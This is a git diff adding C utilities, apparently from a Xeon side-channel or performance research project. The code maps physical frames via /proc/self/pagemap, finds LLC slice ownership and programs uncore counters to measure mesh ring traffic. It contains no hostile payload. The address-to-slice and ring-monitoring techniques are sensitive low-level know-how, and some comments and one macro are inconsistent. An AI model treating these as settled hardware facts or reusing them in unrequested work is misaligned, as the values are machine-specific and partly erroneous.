z@Tr+1m(+lkmhrLXQF_c&)65s&XLb^&)*b|a=K}w(c_1E|i}}Lr#{(9d{tzqyUAO>k z@itHo{yJ?de8DHjOfzSmP54!@83S2WvfrEgoE$^X#m*ZuQm0IUe_;v}0ydi_*|&+I zKBQ=Dk9Y9-?t)TLVgmYl#VMU7f4K4UW@=dFL+iDyf9di2uVK?X4DE4maayIB6$+p% zv^_or=$MB+$*!Lzp%k3s#3nq{ttkt=g`P>mUBR{yT#>NkS_p`!PIh5vB*~nP=_$gh zEjg)RO9+f&+f2%&O@=oO)};v?05t6Qg~#H^9ND8z-bKmSV&0x@j$x(&Y>)%KJy36I z(m64n(?DU}$zpyGj4$c+swL6C&sk=-4VTFh zDph!MvOQJA>H9PjIvmq4`i zZB3!Q?{T#?t$ObPrZt%D3;1zI)$L)kDX4{v`ob-5?vGaEIsM9Q;(D0Ppn6E41_#^O z2Wt0JNx0cPOCGPBm4@H;giv%dxWj5*0Ki2BM0g1Oh+J0*WaI z+qJMP9HlF5>SWXf)POt%A>H(Oy)HpeL4k6%?(+2b#@RJh`@ zp!Bl}&Yx`yRO0o_*S-OK{+A^8V)#8RB{l(H;tH31M-;B+lpX3;jtT5EQR+v}Naa*v z1l2>Tp&^xn}re!NDH%;}(f|HW7bs_byo6mNFr$kpz^TO-m;}$WQo%_s@7sI8MPzMCs>`=<|$R;750JceY>X5*ZOvGXv<`Kt#aQdy3P@dgPr+S zLYd|4veA$f&PJ%hK`6Xpa$JSlUFAcfi{Dh0c}ugJh#*1mZA%eIfD0RWGExt&y@Z38W zW$&GZT&cyfP|8cj++Dd=axe?uVToO1J(Ta$T_2cbo#ppz345dxL23=J5IVLn7V9y3 zN!Sptvetb)NM+ZQrq$*TDWZpi6LBsekE#h$zxVZ9Ddg)TeR_&y<>Y0I+_&Y+YxPPm z%=lrr%I{%V^we-{)Xlcsk8|SOb*Epf{oqJqp~#rv%?}clpL|N~S+!`13Y;b$75>=#y7nJkQCyaIR_irrNmYF+ zoWGCuXRQDA;eY?vT}fOkL)sJn?Qi~lv%mrL1Ocb3_iU%k;U5kS&Ke4~XZ`iAdLn<1 z$AA1+E{pOCJ{ZX&p1}e?2xU#B3I){j{{=|0 BJ>dWV literal 0 HcmV?d00001 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..67e1462 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,18 @@ +cycler==0.11.0 +joblib==1.1.0 +kiwisolver==1.3.1 +matplotlib==3.3.4 +numpy==1.19.5 +pandas==1.1.5 +Pillow==8.4.0 +pkg-resources==0.0.0 +psutil==5.9.1 +pyparsing==3.0.6 +python-dateutil==2.8.2 +pytz==2021.3 +scikit-learn==0.24.2 +scipy==1.5.4 +seaborn==0.11.2 +six==1.16.0 +sklearn==0.0 +threadpoolctl==3.1.0 diff --git a/util/cleanup.sh b/util/cleanup.sh new file mode 100755 index 0000000..512c62b --- /dev/null +++ b/util/cleanup.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash + +# Restore environment after running experiments + +# Re-enable prefetchers +sudo wrmsr -a 0x1a4 0 + +# Re-enable SMT, if it was disabled +echo on | sudo tee /sys/devices/system/cpu/smt/control + +# Re-enable transparent hugepages, if they were disabled +echo madvise | sudo tee /sys/kernel/mm/transparent_hugepage/enabled + +# Unload MSR module +sudo modprobe -r msr \ No newline at end of file diff --git a/util/machine_const.c b/util/machine_const.c new file mode 100644 index 0000000..3796381 --- /dev/null +++ b/util/machine_const.c @@ -0,0 +1,16 @@ +#include "machine_const.h" + +// Returns the lowest value cpu that maps to a particular core +const int cha_id_to_cpu[26] = {0, 13, 7, -1, + 1, 14, 8, 19, 2, + 15, 9, 20, 3, + 16, 10, 21, 4, + 17, 11, 22, 5, 18, + 12, 23, 6, -1}; + +/** + * Indexing into cpu_on_socket with the socket number should return a cpu ID to + * use. Ideally, these values should be correct regardless of the hyperthreading + * status. + */ +const int cpu_on_socket[NUM_SOCKET] = {0, 24}; diff --git a/util/machine_const.h b/util/machine_const.h new file mode 100644 index 0000000..f0e6605 --- /dev/null +++ b/util/machine_const.h @@ -0,0 +1,102 @@ +/** + * util-cpu-specific.h + * + * Contains processor-specific details about the machine architecture. + */ + +#ifndef MACHINE_CONST_H_ +#define MACHINE_CONST_H_ + +/* + * Cache hierarchy characteristics + * + * To understand these concepts visually, see the presentations here: + * https://cs.adelaide.edu.au/~yval/Mastik/ + * + * The cache line/block size in my machine is 64 bytes (2^6), meaning that the + * rightmost 6 bits of the physical address are used as cache block offset. + * + * The L1 cache in my machine has 64 cache sets (2^6) + * (cat /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets). + * That means that the next 6 bits after the block offset of the physical + * address are used as L1 cache set index. + * + * The LLC cache in my machine has 53248 cache sets (26 * 2^11) (cat + * /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets). + * However these sets are split between 26 slices + * in my CPU. + * That means that each slice has 2048 (2^11) cache sets. + * Therefore in my CPU, the next 11 bits of the physical address after the block + * offset are used as LLC cache set index within each slice. + * + */ + +#define CACHE_BLOCK_SIZE 64 // Cache block and cache line are the same thing +#define CACHE_BLOCK_SIZE_LOG 6 + +// 32 KiB, 8-way, 64 B/line +// 64 sets (6 index bits) +#define L1_CACHE_WAYS 8 +#define L1_CACHE_SETS 64 +#define L1_CACHE_SETS_LOG 6 +#define L1_CACHE_SIZE (L1_CACHE_SETS) * (L1_CACHE_WAYS) * (CACHE_BLOCK_SIZE) + +// 1 MiB, 16-way, 64 B/line, inclusive +// 1024 sets (10 index bits) +#define L2_CACHE_WAYS 16 +#define L2_CACHE_SETS 1024 +#define L2_CACHE_SETS_LOG 10 +#define L2_CACHE_SIZE (L2_CACHE_SETS) * (L2_CACHE_WAYS) * (CACHE_BLOCK_SIZE) + +// 1.375 MiB, 11-way, 64 B/line, non-inclusive +// 2048 sets (11 index bits) +#define LLC_CACHE_WAYS 11 +#define LLC_CACHE_SETS_PER_SLICE 2048 +#define LLC_CACHE_SETS_LOG 11 +#define LLC_CACHE_SLICES 26 +#define LLC_CACHE_SIZE (LLC_CACHE_SETS_TOTAL) * (LLC_CACHE_WAYS) * (CACHE_BLOCK_SIZE) + +/* + * Set indexes + */ + +#define L1_SET_INDEX_MASK 0xFC0 /* 6 bits - [11-6] - 64 sets */ +#define L2_SET_INDEX_MASK 0xFFC0 /* 10 bits - [15-6] - 1024 sets */ +#define LLC_SET_INDEX_PER_SLICE_MASK 0x1FFC0 /* 11 bits - [16-6] - 2048 sets */ +#define LLC_INDEX_STRIDE 0x20000 /* Offset required to get the next address with the same LLC cache set index. 17 = bit 16 (MSB bit of LLC_SET_INDEX_PER_SLICE_MASK) + 1 */ +#define L2_INDEX_STRIDE 0x10000 /* Offset required to get the next address with the same L2 cache set index. 16 = bit 15 (MSB bit of L2_SET_INDEX_MASK) + 1 */ + +/* + * CPU Topology details + * + * By default, the values are for hyperthreading off. + */ + +// Uncomment the following line if hyperthreading is turned on +// #define HYPERTHREADING_ON + +#define NUM_SOCKET 2 +#define NUM_CORES_PER_SOCKET 24 +#define NUM_CHA LLC_CACHE_SLICES + +#ifdef HYPERTHREADING_ON +#define NUM_LOG_CORES_PER_SOCKET 48 +#else +#define NUM_LOG_CORES_PER_SOCKET 24 +#endif + +extern const int cha_id_to_cpu[]; +extern const int cpu_on_socket[]; + +/* + * Memory related constants + * + * A page frame shifted left by PAGE_SHIFT will give us the physcial address of the frame + * Note that this number is architecture dependent. For x86_64 it is defined as 12. + */ + +#define PAGE_SHIFT 12 +#define PAGEMAP_LENGTH 8 +#define PAGE 4096 + +#endif diff --git a/util/pfn_util.c b/util/pfn_util.c new file mode 100644 index 0000000..554abbe --- /dev/null +++ b/util/pfn_util.c @@ -0,0 +1,52 @@ +#include "util.h" +#include "pfn_util.h" +#include +#include +#include + +uint64_t get_physical_frame_number(uint64_t vpn) { + // printf("check vpn = 0x%lx\n", vpn); + int i; + // int pid = getpid(); + // string pagemap_path = "/proc/"+to_string(getpid())+"/pagemap"; + // FILE *f = fopen(pagemap_path.c_str(), "rb"); + + /* Open the pagemap file for the current process */ + FILE *f = fopen("/proc/self/pagemap", "rb"); + + if(f==NULL){ + printf("Error! Cannot open /proc/self/pagemap: %s\n", strerror(errno)); + abort(); + } + + uint64_t file_offset = vpn * PAGEMAP_ENTRY_SIZE; + int ret = fseek(f, file_offset, SEEK_SET); + if(ret !=0 ){ + printf("Error in fseek\n"); + abort(); + } + + uint64_t read_val = 0; + + ret = fread(&read_val, PAGEMAP_ENTRY_SIZE, 1, f); + fclose(f); + if(ret <0 ){ + printf("Error in fread\n"); + abort(); + } + + // printf("reav_val = 0x%lx\n", read_val); + if(GET_BIT(read_val, 63)){ + // printf("VPN: 0x%lx; PFN: 0x%llx\n", + // vpn, (unsigned long long) GET_PFN(read_val)); + return GET_PFN(read_val); + }else + printf("Page not present\n"); + + if(GET_BIT(read_val, 62)) + printf("Page swapped\n"); + + + return 0; + +} \ No newline at end of file diff --git a/util/pfn_util.h b/util/pfn_util.h new file mode 100644 index 0000000..249a9be --- /dev/null +++ b/util/pfn_util.h @@ -0,0 +1,13 @@ +#ifndef PFN_UTIL_H +#define PFN_UTIL_H + +#include + +#define PAGEMAP_ENTRY_SIZE 8 +#define GET_BIT(X,Y) (X & ((uint64_t)1<> Y +//0-54 bit -> PFN +#define GET_PFN(X) X & 0x7FFFFFFFFFFFFF + +uint64_t get_physical_frame_number(uint64_t vpn); + +#endif diff --git a/util/pmon_reg_defs.h b/util/pmon_reg_defs.h new file mode 100644 index 0000000..24baf20 --- /dev/null +++ b/util/pmon_reg_defs.h @@ -0,0 +1,70 @@ +/** + * pmon_ref_defs.hpp + * + * Register values come from the Intel Xeon Procesor Scalable Memory Family + * Uncore Performance Monitoring Reference Manual, July 2017 + * (Reference Number 336274-001US) + * Referenced as UPMRM in the rest of the file +*/ + +#ifndef PMON_REG_DEFS_H_ +#define PMON_REG_DEFS_H_ + +// PMON Global Control Block +// UPMRM Section 1.3.2 +#define U_MSR_PMON_GLOBAL_CTL 0x0700L +#define U_MSR_PMON_GLOBAL_STATUS 0x0701L // shows overflows +// Bit Offsets, UPMRM 1.3.2.1 +#define U_MSR_PMON_GLOBAL_CTL_frz_all 63L // freeze all counters +#define U_MSR_PMON_GLOBAL_CTL_unfrz_all 61L // unfreeze all counters + +// PMON Counter Control Register Bit Offsets +// UPMRM Section 1.4.1 +#define PMON_CTL_en 22L // enable counter +#define PMON_CTL_rst 17L // reset counter +#define PMON_CTL_umask 8L // umask to select subevent within selected event +#define PMON_CTL_ev_sel 0L // ev_sel to select event to be counted +// Note: event codes and umask values found in UPMRM Section 2 + +// CHA counters are MSR-based. +// The starting MSR address is 0x0E00 + 0x10*CHA +// Offset 0 is Unit Control -- mostly un-needed +// Offsets 1-4 are the Counter PerfEvtSel registers +// Offset 5 is Filter0 -- selects state for LLC lookup event (and TID, if enabled by bit 19 of PerfEvtSel) +// Offset 6 is Filter1 -- lots of filter bits, including opcode -- default if unused should be 0x03b, or 0x------33 if using opcode matching +// Offset 7 is Unit Status +// Offsets 8,9,A,B are the Counter count registers +#define CHA_MSR_PMON_BASE 0x0E00L +#define CHA_MSR_PMON_CTL_BASE 0x0E01L +#define CHA_MSR_PMON_FILTER0_BASE 0x0E05L +#define CHA_MSR_PMON_FILTER1_BASE 0x0E06L +#define CHA_MSR_PMON_STATUS_BASE 0x0E07L +#define CHA_MSR_PMON_CTR_BASE 0x0E08L + +// Calculate addr of the unit control register for a CHA (core) pmon unit (UPMRM 1.8.1) +#define CHA_MSR_PMON_UNIT_CTRL(core) CHA_MSR_PMON_BASE + core * 0x10UL +// Calculate addr of the n-th control register within a CHA (core) pmon unit (UPMRM 1.8.1) +#define CHA_MSR_PMON_CTRL(core, n) CHA_MSR_PMON_UNIT_CTRL(core) + 1UL + n +// Calculate addr of the n-th counter register within a CHA (core) pmon unit (UPMRM 1.8.1) +#define CHA_MSR_PMON_CTR(core, n) CHA_MSR_PMON_CTR_BASE + core * 0x10UL + n + +// Bit offsets +#define CHA_MSR_PMON_FILTER0_state 17L // choose LLC_LOOKUP events to filter by state + +// PMON Mesh Performance Monitoring Events, UPMRM 2.2.3 +#define VERT_RING_AD_IN_USE 0xa6UL // vertical address ring in use +#define HORZ_RING_AD_IN_USE 0xa7UL // horizontal address ring in use +#define VERT_RING_AK_IN_USE 0xa8UL // vertical acknowledge ring in use +#define HORZ_RING_AK_IN_USE 0xa9UL // horizontal acknowledge ring in use +#define VERT_RING_BL_IN_USE 0xaaUL // vertical block/data ring in use +#define HORZ_RING_BL_IN_USE 0xabUL // horizontal block/data ring in use +#define VERT_RING_IV_IN_USE 0xacUL // vertical invalidate ring in use +#define HORZ_RING_IV_IN_USE 0xadUL // horizontal invalidate ring in use +#define CMS_CLOCKTICKS 0xc0 // CMS clock ticks + +// PMON CHA Performance Monitoring Events, UPMRM 2.2.8 +#define LLC_LOOKUP 0x34UL +#define BYPASS_CHA_IMC 0x57UL +#define IMC_READS_COUNT 0x59UL + +#endif // PMON_REG_DEFS_H_ diff --git a/util/pmon_utils.c b/util/pmon_utils.c new file mode 100644 index 0000000..2790964 --- /dev/null +++ b/util/pmon_utils.c @@ -0,0 +1,573 @@ +/** + * pmon_utils.cpp + * + * Utility functions for working with Intel's uncore performance monitors. + * Detailed information can be found in the Intel Xeon Processor Scalable Family + * Uncore Performance Monitoring Reference Manual +*/ + +#include "pmon_utils.h" +#include "pmon_reg_defs.h" +#include "machine_const.h" + +#include // open(), close() +#include // errno +#include // strerror() +#include // sysconf() +#include // printf(), sprintf(), etc +#include // exit() +#include // assert() +#include + +char filename[MAX_FILENAME_LEN]; + +/** + * Set a counter control register within a PMON unit. Each PMON unit has + * 4 counter registers that can be configured to count different events. + * + * msr_fd: file descriptor for the msr interface + * msr_addr: Address of the specfic control register in msr-space (see Section 1.8) + * event_code: hex code for the desired event to be measured + * umask: a filter that can be applied to an event + * + * See the Uncore Performance Monitoring Guide Section 1.4 + */ +void set_pmon_cha_msr_ctr_ctrl_reg(int msr_fd, uint64_t msr_addr, + uint64_t event_code, uint64_t umask) { + uint64_t msr_val = 1UL << PMON_CTL_en | // enable counter + event_code << PMON_CTL_ev_sel | // select event + umask << PMON_CTL_umask; // set umask + WRITE_MSR(msr_fd, msr_addr, msr_val); +} + +/** + * Read a counter register within a PMON unit. Each PMON unit has 4 counter + * registers. + * + * msr_fd: file descriptor for the msr interface + * core: the core/CHA number to read from + * n: the index of the counter to read (0-3) + */ +uint64_t read_pmon_cha_msr_ctr_reg(int msr_fd, int core, int n) { + uint64_t msr_val; + READ_MSR(msr_fd, CHA_MSR_PMON_CTR(core, n), msr_val); + // Mask out lower 48 bits; higher order bits are reserved (1.4.1, Table 1-7) + return msr_val & 0xFFFFFFFFFFFFul; +} + +/** + * Returns the core (as defined by the uncore pmon registers) corresponding + * to the logical cpu (i.e. cpu as defined in /proc/cpuinfo) + * Mappings determined by the experiments in pmon_core_mapping + * + * Note: this is only guaranteed to be correct for the fatality machine + */ +int cpu_to_core(int cpu) { + #ifndef FATALITY + printf("ERROR: FATALITY is not defined. Make sure cpu_to_core is configured" + " for your machine!\n"); + exit(-1); + #endif + + cpu %= 10; + return (cpu < 5) ? 2 * cpu : (cpu - 5) * 2 + 1; +} + +/** + * Returns the lower-value cpu (i.e. cpu as defined in /proc/cpuinfo) that + * maps to the core (as defined by the uncore pmon registers). + * Mappings determined by the experiments in pmon_core_mapping + * + * Note: this is only defined for the fatality machine at the moment + */ +int core_to_cpu(int core) { + #ifdef FATALITY + return (core % 2) ? core / 2 + 5 : core / 2; + #else + printf("ERROR: FATALITY is not defined. Make sure cpu_to_core is configured" + " for your machine!\n"); + exit(-1); + #endif +} + +int get_active_cpus() { + return sysconf(_SC_NPROCESSORS_ONLN); +} + +/** + * Opens a file using the MSR driver from the specified cpu. + * + * To open the MSR interface to a particular socket, use a cpu that is located + * on the desired socket. Returns the file descriptor. + */ +int open_msr_fd(int cpu) { + sprintf(filename, "/dev/cpu/%d/msr", cpu); + int fd = open(filename, O_RDWR); + if (fd == -1) { + fprintf(stderr, "[ERROR] cannot open %s: %s\n", filename, strerror(errno)); + exit(EXIT_FAILURE); + } + return fd; +} + +void close_msr_fd(int fd) { + if (close(fd) != 0) { + fprintf(stderr, "[ERROR] cannot close fd: %s\n", strerror(errno)); + exit(EXIT_FAILURE); + } +} + +void open_msr_interface(int num_cpus, int msr_fd[]) { + // Get MSR interface + // Caller must ensure msr_fd is large enough to hold all file descriptors + for (int i = 0; i < num_cpus; i++) { + sprintf(filename, "/dev/cpu/%d/msr", i); + #ifdef DEBUG + printf("DEBUG: opening %s\n", filename); + #endif + msr_fd[i] = open(filename, O_RDWR); + if (msr_fd[i] == -1) { + printf("ERROR: %s; cannot open %s\n", strerror(errno), filename); + exit(-1); + } + } +} + +void close_msr_interface(int num_cpus, int msr_fd[]) { + for (int i = 0; i < num_cpus; i++) { + sprintf(filename, "/dev/cpu/%d/msr", i); + close(msr_fd[i]); + if (msr_fd[i] == -1) { + printf("ERROR: %s; cannot close %s\n", strerror(errno), filename); + exit(-1); + } + } +} + +void freeze_all_counters(int msr_fd) { + // 1.3.2.1 - Freeze all uncore counters by setting + // U_MSR_PMON_GLOBAL_CTL.frz_all to 1 + uint64_t msr_num = U_MSR_PMON_GLOBAL_CTL; + uint64_t msr_val = 1UL << U_MSR_PMON_GLOBAL_CTL_frz_all; + if (WRITE_MSR(msr_fd, msr_num, msr_val) == -1) { + perror("Error freezing all counters"); + exit(EXIT_FAILURE); + } +} + +void unfreeze_all_counters(int msr_fd) { + uint64_t msr_val = 1UL << U_MSR_PMON_GLOBAL_CTL_unfrz_all; + uint64_t msr_num = U_MSR_PMON_GLOBAL_CTL; + if (WRITE_MSR(msr_fd, msr_num, msr_val) == -1) { + perror("Error unfreezing all counters"); + exit(EXIT_FAILURE); + } +} + +int get_corresponding_cha(void *virtual_address) { + int nr_cpus = get_active_cpus(); + // printf("DEBUG: found %d active cpus\n", nr_cpus); + assert(nr_cpus <= NUM_LOG_CORES_PER_SOCKET * NUM_SOCKET); + + int msr_fd[NUM_LOG_CORES_PER_SOCKET * NUM_SOCKET]; // MSR device driver files + + open_msr_interface(nr_cpus, msr_fd); + int result = get_corresponding_cha_no_msr(virtual_address, msr_fd); + close_msr_interface(nr_cpus, msr_fd); + return result; +} + +int get_corresponding_cha_no_msr(void *virtual_address, int msr_fd[NUM_LOG_CORES_PER_SOCKET * NUM_SOCKET]) { + // TODO: avoid using these #defines within the library function + + #define CHA_TEST_REPS 10000 // Use 10k accesses to test for CHA association + + int msr_readouts[NUM_LOG_CORES_PER_SOCKET * NUM_SOCKET]; // Values read from each core + volatile int result; + + uint64_t msr_num, msr_val; + // Set up a counter in each CHA + int core = 0; // these msrs can be accessed through any core's driver. Core 0 chosen arbitrariliy + // 1.9.2.a - Freeze all uncore counters + freeze_all_counters(msr_fd[core]); + + for (int cha = 0; cha < NUM_CHA; cha++) { + // Calculate all offsets (1.8.1) + uint64_t cha_msr_pmon_unit_ctrl = CHA_MSR_PMON_BASE + cha * 0x10; + uint64_t cha_msr_pmon_ctrl0 = cha_msr_pmon_unit_ctrl + 1; + uint64_t cha_msr_pmon_filter0 = cha_msr_pmon_unit_ctrl + 5; + uint64_t cha_msr_pmon_filter1 = cha_msr_pmon_filter0 + 1; + + // 1.9.2.d Reset counters in each box + msr_val = 0x3; + msr_num = cha_msr_pmon_unit_ctrl; + WRITE_MSR(msr_fd[core], msr_num, msr_val); + + // 1.9.2.b Enable counting for each monitor + // 1.9.2.c Select event to monitor (i.e. program event control register umask and ev_sel bits) + msr_val = 1UL << PMON_CTL_en | // 1 = enable + 0x34UL << PMON_CTL_ev_sel | // 0x34 = LLC_LOOKUP event + 0x3UL << PMON_CTL_umask; // 0x3 = DATA_READ umask + msr_num = cha_msr_pmon_ctrl0; + // #ifdef DEBUG + // printf("DEBUG: Write cha%02d_msr_pmon_ctrl0 (0x%lx): 0x%lx\n", cha, msr_num, msr_val); + // #endif + WRITE_MSR(msr_fd[core], msr_num, msr_val); + + // Set CHAFilter0[26:17] (2.2.6.2) + // 0xFF = count all states + msr_val = 0xFFUL << CHA_MSR_PMON_FILTER0_state; + msr_num = cha_msr_pmon_filter0; + WRITE_MSR(msr_fd[core], msr_num, msr_val); + + // Turn off Filter1 (2.2.6.2, see Note under Table 2-54) + msr_val = 0x3BUL; + msr_num = cha_msr_pmon_filter1; + WRITE_MSR(msr_fd[core], msr_num, msr_val); + } + + // 1.9.2.f Enable counting on global level + unfreeze_all_counters(msr_fd[core]); + + // counting has started + + for (int i = 0; i < CHA_TEST_REPS; i++) { + _mm_clflush((char *)virtual_address); + result = *(char *)virtual_address; + } + + // 1.9.3.a Freeze values globally + freeze_all_counters(msr_fd[core]); + + // Read value from all CHAs from Ctr0 + // Store the highest count and the second highest count from the counters + int max_count = 0; + int max_count_cha = 0; + int second_max_count = 0; + int second_max_count_cha = 0; + + for (int cha = 0; cha < NUM_CHA; cha++) { + uint64_t cha_msr_pmon_ctr0 = CHA_MSR_PMON_CTR_BASE + cha * 0x10; + msr_num = cha_msr_pmon_ctr0; + READ_MSR(msr_fd[core], msr_num, msr_val); + // mask out lower 48 bits; higher order bits are reserved (1.4.1, Table 1-7) + msr_val &= 0xFFFFFFFFFFFF; + + if (msr_val > max_count) { + second_max_count = max_count; + second_max_count_cha = max_count_cha; + max_count = msr_val; + max_count_cha = cha; + } else if (msr_val > second_max_count) { + second_max_count = msr_val; + second_max_count_cha = cha; + } + } + + // We expect the highest count to vastly outweight the second highest count + // If this is not the case, then there was too much noise during the experiment + // As a sanity check, we make sure that the maximum count is at least 1/3 of the test flushes. + if (max_count < CHA_TEST_REPS / 3) { + printf("ERROR: not enough counts to guarantee good CHA detection\nMax LLC_LOOKUP value was %d for a total of %d loads\n", max_count, CHA_TEST_REPS); + return -1; + } + if (second_max_count != 0 && max_count / second_max_count < 2) { + // Multiple potential CHAs found + printf("ERROR: multiple CHA candidates detected.\n"); + + // for (int cha = 0; cha < NUM_CHA; cha++) { + // // Dump all pmon values + // uint64_t cha_msr_pmon_ctr0 = CHA_MSR_PMON_CTR_BASE + cha * 0x10; + // msr_num = cha_msr_pmon_ctr0; + // READ_MSR(msr_fd[core], msr_num, msr_val); + // msr_val &= 0xFFFFFFFFFFFF; + // printf("DEBUG: cha %d LLC_LOOKUPs (0x%lx): %ld\n", cha, msr_num, msr_val); + // } + return -1; + } + + // Everything looks good, return the CHA with the max count + return max_count_cha; +} + +/** + * Returns an address local to the specified core within the provided buffer + */ +void *get_addr_in_core(int core, void *buf, long buf_size) { + uintptr_t target = (uintptr_t)buf; + while (1) { + // TODO: deal with errors in get_corresponding_cha here + if (get_corresponding_cha((void *)target) == core) { + break; + } + target += 64; // 64 byte cache line (the next 63 addr have the same cha) + if (target >= (uintptr_t)buf + buf_size) { + printf("ERROR: could not find target addr with CHA %d within buf\n", + core); + exit(-1); + } + } + return (void *)target; +} + +/** + * Sets all 4 counters on a core to measure the four directions of the AD ring. + */ +void set_ad_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AD_IN_USE, + 0x3UL); // 0x3 = umask for up ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_AD_IN_USE, + 0xcUL); // 0xc = umask for down ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_AD_IN_USE, + 0x3UL); // 0x3 = umask for left ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_AD_IN_USE, + 0xcUL); // 0xc = umask for right ring (even and odd) +} + +/** + * Sets all 4 counters on a core to measure the vertical directions of the AD ring. + */ +void set_ad_vert_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AD_IN_USE, + 0x1UL); // 0x1 = umask for up ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_AD_IN_USE, + 0x2UL); // 0x2 = umask for up ring (odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + VERT_RING_AD_IN_USE, + 0x4UL); // 0x4 = umask for down ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + VERT_RING_AD_IN_USE, + 0x8UL); // 0x8 = umask for down ring (odd) +} + +/** + * Sets all 4 counters on a core to measure the vertical directions of the AD ring. + */ +void set_ad_horz_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + HORZ_RING_AD_IN_USE, + 0x1UL); // 0x1 = umask for up ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + HORZ_RING_AD_IN_USE, + 0x2UL); // 0x2 = umask for up ring (odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_AD_IN_USE, + 0x4UL); // 0x4 = umask for down ring (even) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_AD_IN_USE, + 0x8UL); // 0x8 = umask for down ring (odd) +} + +/** + * Sets all 4 counters on a core to measure the four directions of the IV ring. + */ +void set_iv_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_IV_IN_USE, + 0x1UL); // 0x1 = umask for up ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_IV_IN_USE, + 0x4UL); // 0x4 = umask for down ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_IV_IN_USE, + 0x1UL); // 0x1 = umask for left ring + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_IV_IN_USE, + 0x4UL); // 0x4 = umask for right ring +} + +/** + * Sets all 4 counters on a core to measure the four directions of the AK ring. + */ +void set_ak_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AK_IN_USE, + 0x3UL); // 0x3 = umask for up ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_AK_IN_USE, + 0xcUL); // 0xc = umask for down ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_AK_IN_USE, + 0x3UL); // 0x3 = umask for left ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_AK_IN_USE, + 0xcUL); // 0xc = umask for right ring (even and odd) +} +/** + * Sets all 4 counters on a core to measure the horizontal direction of the AK ring. + */ +void set_ak_horz_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + HORZ_RING_AK_IN_USE, + 0x1UL); // 0x1 = umask for left even + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + HORZ_RING_AK_IN_USE, + 0x2UL); // 0xc = umask for left odd + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + HORZ_RING_AK_IN_USE, + 0x4UL); // 0x3 = umask for right even + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + HORZ_RING_AK_IN_USE, + 0x8UL); // 0xc = umask for right odd +} + +/** + * Sets all 4 counters on a core to measure the vertical direction of the AK ring. + */ +void set_ak_vert_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_AK_IN_USE, + 0x1UL); // 0x1 = umask for up even + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_AK_IN_USE, + 0x2UL); // 0xc = umask for up odd + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 2), + VERT_RING_AK_IN_USE, + 0x4UL); // 0x3 = umask for down even + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 3), + VERT_RING_AK_IN_USE, + 0x8UL); // 0xc = umask for down odd +} + +/** + * Sets all 4 counters on a core to measure the four directions of the BL ring. + */ +void set_bl_ring_monitoring(int msr_fd, int core) { + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 0), + VERT_RING_BL_IN_USE, + 0x3UL); // 0x3 = umask for up ring (even and odd) + set_pmon_cha_msr_ctr_ctrl_reg(msr_fd, + CHA_MSR_PMON_CTRL(core, 1), + VERT_RING_BL_IN_USE, + 0xcUL); // 0xc = umask for down ring (even and odd) + 